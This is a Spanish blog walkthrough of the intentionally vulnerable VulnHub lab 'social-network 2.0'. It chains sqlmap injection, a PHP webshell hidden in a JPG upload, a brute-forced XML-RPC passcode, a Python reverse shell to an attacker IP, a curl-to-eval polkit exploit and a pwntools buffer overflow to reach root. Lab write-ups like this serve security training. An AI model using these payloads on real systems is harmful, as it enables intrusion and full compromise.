miércoles, 19 de octubre de 2022

Breaking social-network: Hard XMLRPCServer bof pwntools socat

 

https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/


You have been given access to a dev server.

The current devs use many custom tools and scripts that you'll have to review and attack.

Difficulty: Hard

Tasks involved:

  • port scanning
  • webapp attacks
  • code review
  • custom bruteforcing
  • reverse engineering
  • buffer overflow
  • exploitation
1. en el puerto 80 encontramos un login



probamos inyección sql con sqlmap y sacamos las credenciales de admin. 

sqlmap -u http://192.168.2.44/ --data 'useremail=a%40b.com&userpass=1&login=Login' --dbs



A partir de aquí la idea es cargar un shell en la imagen profile o en un post. Al final funciona por post cargando un jpg generado con

https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php y con extensión php.





www-data@socnet2:/home/socnet$ 

2. Una vez dentro como apache encontramos el script python que gestiona el puerto 8000 donde funciona un basehttp/0.3 python/2.7.15rc1. De los posts de admin anteriores tenemos que hay funcionando un monitor.py que es lo que analizamos para escalar al usuario socnet.

#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read() + results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")
def mem():
    return runcmd("free -m")
def disk():
    return runcmd("df -h")
def net():
    return runcmd("ip a")
def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)

    else:
        return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
server.serve_forever()

Con Burp tratamos de deducir cómo funciona. Tenemos que enviar en post un xml de esta forma

<?xml version="1.0"?>
<methodCall>
  <methodName>mem</methodName>
</methodCall>


Se trata de inyectar el shell llamando a la función secure_cmd pero necesitamos la pass. Bruteforceamos con burp.

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>whoami</string></value>
    </param>
    <param>
        <value><int>$4450$</int></value>
    </param>
  </params>
</methodCall>

Localizada la pass inyectamos el shell que solo nos ha funcionado con python

<?xml version="1.0"?>
<methodCall>
  <methodName>secure_cmd</methodName>
  <params>
    <param>
        <value><string>python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.84",9994));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</string></value>
    </param>
    <param>
        <value><int>4450</int></value>
    </param>
  </params>
</methodCall>

Entramos otra vez pero ahora como socnet. Aunque la máquina es vulnerable a polkit

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

entendemos que hay que escalar a root a través del binario add_record. Lo descargamos y analizamos con ghidra. Queda claro que hay que hacer overflow en la variable que recoge lo que introducimos en "Explain: ". Encontramos además una función backdoor que ejecuta el shell y cuya dirección es lo que hay que inyectar. 





Con gdb-peda encontramos el payload correcto que rellena EIP:

"A"*62 + "B"*4

En "B" ponemos el offset del backdoor

"A"*62 + "\x76\x86\x04\x08"

Lo probamos en local

from pwn import *
"""
Employee Name(char): r
Years worked(int): 4
Salary(int): 4
Ever got in trouble? 1 (yes) or 0 (no): 1
Explain: 
"""
p = process("./add_record")
print(p.recvline())
print(p.recvline())
print(p.recvuntil(":", timeout=1))
p.send("f\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("3\n")
print(p.recvuntil(":", timeout=1))
p.send("1\n")
print(p.recvuntil(":", timeout=1))
payload="A"*62 + "\x76\x86\x04\x08"
p.send(payload+"\n")
p.interactive()

El problema es que la máquina víctima no tiene pwntools instalado. La idea entonces es usar socat que tampoco lo tiene pero podemos descargarlo ya compilado

wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

Y lo ejecutamos en la máquina víctima

./socat tcp-l:5000,reuseaddr,fork EXEC:"./add_record",pty,raw,echo=0

Es ahora que modificamos el script anterior cambiando la apertura del proceso en local a 

p = remote("192.168.2.44",5000)

ejecutamos desde nuestra máquina y obtenemos root



No hay comentarios:

Publicar un comentario